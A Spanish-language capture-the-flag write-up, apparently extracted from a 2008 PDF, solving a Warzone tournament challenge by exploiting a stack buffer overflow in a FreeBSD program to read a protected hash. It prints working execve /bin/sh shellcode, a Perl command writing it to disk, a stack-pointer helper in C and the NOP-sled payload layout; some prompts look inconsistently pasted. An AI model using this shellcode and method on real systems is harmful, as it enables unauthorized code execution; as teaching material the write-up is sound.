PDF de programación - 1 RETO – TORNEO SHELL WARZONE

Heur stica y Explotaci n de vulnerabilidades Papers

ó

í

–

1º RETO – TORNEO SHELL WARZONE

Seguidamente explicaremos la solución al 1º reto planteado por los creadores del “Torneo Shell”
de la Warzone ubicada en “elhacker.net”. La información que encontraréis a continuación se
expone con un mero carácter educativo. Warzone, sus creadores y el autor de este documento no se
hacen responsables del uso o abuso que se le pueda dar a la misma. ¡Disfruten del juego!

Bienvenidos a la primera prueba del Torneo Shell que para nuestro disfrute han preparado los
creadores de Warzone. En esta ocasión nos enfrenteremos a un típica vulnerabilidad de software
conocida por todos como “Buffer Overflow” (desbordamiento de buffer).

En este documento solo abordaremos el caso particular que nos traemos entre manos. Para más
información general sobre como explotar esta clase de bugs, diríjase a las referencias que
encontrará hacia el final.

Manos a la obra:

En primer lugar entraremos en el directorio de la prueba “/usr/home/BoF/” y listaremos sus
ficheros:

A tener en cuenta:

• BoF
.pass
•

 Programa vulnerable.
 Directorio objetivo que contiene nuestro “hash”.

Heur stica y Explotaci n de vulnerabilidades Papers

ó

í

–

Sabiendo entonces que no disponemos el código fuente. Lo normal será ejecutar el programa para
ver como actúa y si acepta parámetros como entrada:

Bien, empezamos con pasos firmes. Suponemos tras la segunda ejecución que el programa
almacena nuestro parametro en algún buffer temporal para imprimirlo posteriormente a la salida
estandar.

He aquí el posible fallo. ¿Qué ocurre si esta variable/buffer/array no está preparado para albergar
tantos datos como los que nosotros somos capaces de introducir? Exacto, se producirá un
desbordamiento.

Averiguar la longitud del buffer es algo trivial, se trata de ir introduciendo un parámetro cada vez
más largo hasta conseguir que el programa nos muestre un “segmentation fault”, indicativo de que
algo malo ha ocurrido.

Normalmente los buffers suelen tener tamaños múltiplos de “16”, lo que quiere decir que
normalmente serán así:

•
•
•
•
•
•

buffer[64];
buffer[128];
buffer[256];
buffer[512];
buffer[1024];
etc...

Es muy incómodo mantener una tecla pulsada hasta que se repite esta cantidad de veces. Para
facilitar nuestra tarea, ¡ “PERL” al rescate !. Con Perl podemos imprimir tantos caracteres como
deseemos sin apenas esfuerzo.

Para demostrar todo lo que hacabamos de decir, intentaremos producir un desbordamiento de buffer
introduciendo 1050 “A's” como parámetro al programa “./BoF. A partir de ahí jugaremos nuestras
cartas.

Heur stica y Explotaci n de vulnerabilidades Papers

ó

í

–

Estamos en el camino correcto. Ahora toca elaborar el exploit en sí.

Si continúas jugando con el parámetro te darás cuenta de que nos enfrentamos a un buffer cuya
capacidad es 1024 bytes, espacio más que suficiente para colocar el típico pastel, me refiero a:

[NOPS (0x90)] [SHELLCODE] [RET (%esp)]

Dado que el bug tiene toda la pinta de no estar complicando las cosas por detrás, intentaremos
explotarlo directamente desde la línea de comandos sin tener que programar un exploit en lenguaje
C.

Entonces listaremos que elementos necesitamos:

Perl (línea de comandos).

•
• Una “shellcode” (para FreeBSD).
• Una dirección de retorno (%esp).

Perl ya lo tenemos en el sistema. Conseguir una Shellcode para FreeBSD es cuestión de segundos si
sabes buscar en Google. Quizás en un documento aparte explique como programarte una tu mismo
(es una buena experiencia).

Heur stica y Explotaci n de vulnerabilidades Papers

ó

í

–

Muestro aquí la “shellcode” que utilizaremos nosotros. Es bastante pequeña:

char code[] =
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f (//sh) */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f (/bin)*/
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x54" /* push %esp */
"\x53" /* push %ebx */
"\x50" /* push %eax */
"\xb0\x3b" /* mov $0x3b,%al */
"\xcd\x80"; /* int $0x80 */

Pero como ya dijimos, vamos a trabajar desde la linea de comandos, entonces necesitamos un lugar
donde almacenarla para luego hacer uso de ella. La volcaremos a un archivo en nuestro directorio
personal:

$ perl -e 'print
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\
x54\x53\x50\xb0\x3b\xcd\x80";' > ../NikiSanders/sc

Con este juguete preparado, ahora solo nos queda obtener una dirección de retorno válida. Para ello
escribiremos un pequeño programa:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

u_long getsp(){
__asm__("movl %esp, %eax");
}

int main(){
u_long esp;
esp = getsp();
printf ("ESP = 0x%x\n", esp);
return 0;
}

Lo compilamos con “gcc getsp.c -o getsp”. Y al ejecutarlo deberíamos obtener lo siguiente:

C:/Users/NikiSanders/Desktop>../NikiSanders/getsp
ESP = 0xbfbfec58
C:/Users/NikiSanders/Desktop>

Debes ser consciente que esta dirección puede no ser la misma para tí. Depende del número de
procesos que se esten ejecutado en ese momento y de muchos otros factores. Lo importante es
aprender el método.

Heur stica y Explotaci n de vulnerabilidades Papers

ó

í

–

Y hasta aquí solo nos queda construir nuestro paquete BOMBA para cedérselo como parametro al
programa vulnerable. Intentémoslo:

Bueno, no todo es color de rosa. Esto es muy instructivo para aprender unas cuantas cosas:

Fíjate que normalmente un parametro de exploit corriente suele repetir varias veces su dirección de
retorno, lo que ofrece más posibilidades de acertar en la alineación cuando se intenta sobreescribir
el registro “%eip”. Nosotros solo la escribimos una vez (somos así de retorcidos) y la alineación
debe de coincidir de manera exacta. Esto lo hago para que se vea que se puede explotar
manualmente y de forma milimétrica sin tener que recurrir a la suerte o coincidencia.

Por otro lado hay que tener en cuenta el tamaño de los elementos que estamos introduciendo. En
nuestro caso posiblemente lo que haya ocurrido sea esto:

[NOPS-NOPS-NOPS-NOPS] [ SHELLCODE ] [RET]
[BUFER DE 1024 BYTES] [%EBP] [%EIP] [ARGS]

Observamos que nos hemos pasado de largo. La dirección de retorno debe caer exactamente en la
posición del registro “%eip” si queremos lograr nuestro objetivo. La solución pasa por decrementar
paulatinamente el número de instrucciones NOP (0x90) hasta conseguir una ejecución exitosa.

Sin necesidad de rezar llegará el momento en que caigamos en el lugar exacto:

Heur stica y Explotaci n de vulnerabilidades Papers

ó

í

–

Ya puedes saltar de alegría, solo te resta acceder al directorio “.pass” y leer tu archivo
correspondiente (“.leeme_UID”, en mi caso “.leeme_7027”) y obtener el HASH que debes
introducir en la aplicación “/usr/home/warzone/validar” para pasar la prueba.

Referencias:

[1] "Smashing the Stack for Fun and Profit" by Aleph One
http://doc.bughunter.net/buffer-overflow/smash-stack.html

[2] Desbordamiento de búfer
http://es.wikipedia.org/wiki/Desbordamiento_de_b%C3%BAfer

[3] Introducción a los Overflows en Linux X86_64
http://www.enye-sec.org/textos/introduccion.a.los.overflows.en.linux.x86_64.txt

Por lo demás WARZONE te está esperando! };-D

^^
*`* @@ *`* HACK THE WORLD
* *--* *
## by blackngel <[email protected]>
|| <[email protected]>
* *
* * (C) Copyleft 2008 everybody
_* *_